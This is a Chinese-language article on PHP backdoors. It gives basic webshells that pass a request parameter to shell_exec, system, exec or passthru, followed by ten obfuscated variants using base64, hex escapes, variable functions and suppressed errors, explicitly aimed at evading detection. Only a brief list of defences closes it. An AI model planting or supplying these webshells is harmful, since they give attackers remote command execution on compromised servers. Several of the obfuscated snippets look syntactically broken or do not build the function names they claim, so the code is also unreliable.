有趣的PHP后门
字数 1476 2025-08-26 22:11:22
PHP后门技术深度解析
前言
本文详细解析PHP后门技术的各种实现方式,重点围绕全局变量GET、POST、REQUEST的使用,以及如何通过编码、混淆等手段绕过常规检测。
常用命令执行函数
1. shell_exec
- 功能: 通过shell执行命令并返回完整输出字符串
- 语法:
string shell_exec (string $cmd) - 示例:
php -r 'shell_exec("ls -la");'
2. system
- 功能: 执行外部程序并显示输出
- 语法:
string system (string $command [, int &$return_var]) - 示例:
php -r 'system("ls -la");'
3. exec
- 功能: 执行外部程序
- 语法:
string exec (string $command [, array &$output [, int &$return_var]]) - 示例:
php -r 'exec("ls -la", $var); print_r($var);'
4. passthru
- 功能: 执行外部程序并显示原始输出
- 语法:
void passthru (string $command [, int &$return_var]) - 示例:
php -r 'passthru("ls -la", $var);'
基础后门实现
简单实现方式
// shell_exec实现
if(isset($_REQUEST['cmd'])) {
$cmd = shell_exec($_REQUEST['cmd']);
print_r($cmd);
}
// system实现
if(isset($_REQUEST['cmd'])) {
system($_REQUEST['cmd']);
}
// exec实现
if(isset($_REQUEST['cmd'])) {
exec($_REQUEST['cmd']);
}
// passthru实现
if(isset($_REQUEST['cmd'])) {
passthru($_REQUEST['cmd']);
}
高级混淆技术
技术要点
- 在固定值中使用shellcode
- 不加节制地使用数组
- 本地函数的连接和变量的定义
- 使用
base64_decode、bin2hex等编码函数 - 使用
error_reporting(0)关闭错误报告 - 利用系统已存在的请求(GET或POST)
- 研究恶意属性在系统类中的创建
- 处理全局变量
$_SERVER的值 - 研究PHP格式CMS文件的感染方法
示例解析
示例01: 使用base64编码混淆
(error_reporting(0);
base64_decode("c3lzdGVt")(
base64_decode("aWQ=")
);
define("_", "dW5hbWUgLWE7bHM7");
base64_decode(_);
exit);
c3lzdGVt= "system"dW5hbWUgLWE7bHM7= "uname -a; ls;"aWQ== "id"
示例02: 条件执行
(error_reporting(0);
base64_decode("c3lzdGVt")(
isset($_REQUEST[0]) ? $_REQUEST[0] : NULL
);
exit);
- 通过
$_REQUEST[0]接收命令
示例03: 使用create_function
(error_reporting(0);
$_REQUEST[0](
create_function('$_', base64_decode("ZWNobyhzaGVsbF9leGVjKCRfKSk7"))
);
exit);
ZWNobyhzaGVsbF9leGVjKCRfKSk7= "echo(shell_exec($_));"
示例04: 变量函数
(error_reporting(0);
$_GET[1]($_GET[2]);
exit);
$_GET[1]= 函数名$_GET[2]= 要执行的命令
示例05: extract与get_defined_vars
(error_reporting(0);
extract($_REQUEST, EXTR_PREFIX_ALL);
get_defined_vars()['_REQUEST'](
define($_REQUEST[1], $_REQUEST[2])
);
exit);
示例06: 利用HTTP_USER_AGENT
(error_reporting(0);
explode($_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')], 0)[1];
exit);
SFRUUF9VU0VSX0FHRU5U= "HTTP_USER_AGENT"
示例07: 十六进制编码
(error_reporting(0);
$_GET["\x30"](
$_GET["\x73"].
$_GET["\x79"].
$_GET["\x6D"].
$_GET["\x65"].
$_GET["\x74"]
);
exit);
\x30= "0"\x73= "s"\x79= "y"\x6D= "m"\x65= "e"\x74= "t"
示例08: str_replace混淆
(error_reporting(0);
str_replace('s', '#', 's')(
$_REQUEST[0]
);
exit);
示例09: POST请求混淆
(error_reporting(0);
("\x73\x79")("\x74\x65\x6D")(
"\x73\x68\x65\x6C", "\x6C\x72\x6F\x78",
$_POST[$_[1].$_[2]]
);
exit);
示例10: 非字母数字混淆
$_[0] = "Array";
$_[1] = "E";
$_[2] = "M";
$_[3] = "S";
$_[4] = "T";
$_[5] = "Y";
($_[2].$_[4].$_[2].$_[3].$_[0].$_[1])('id; uname -a');
// 极简版本:
($_[2].$_[4].$_[2].$_[3].$_[0].$_[1])('id; uname -a');
防御措施
- 禁用危险函数: 在php.ini中禁用
shell_exec、system、exec、passthru等函数 - 输入验证: 对所有用户输入进行严格过滤
- 文件监控: 定期检查服务器文件是否有可疑修改
- 最小权限原则: Web服务器用户应具有最小必要权限
- 使用Web应用防火墙(WAF)
- 定期更新PHP版本和安全补丁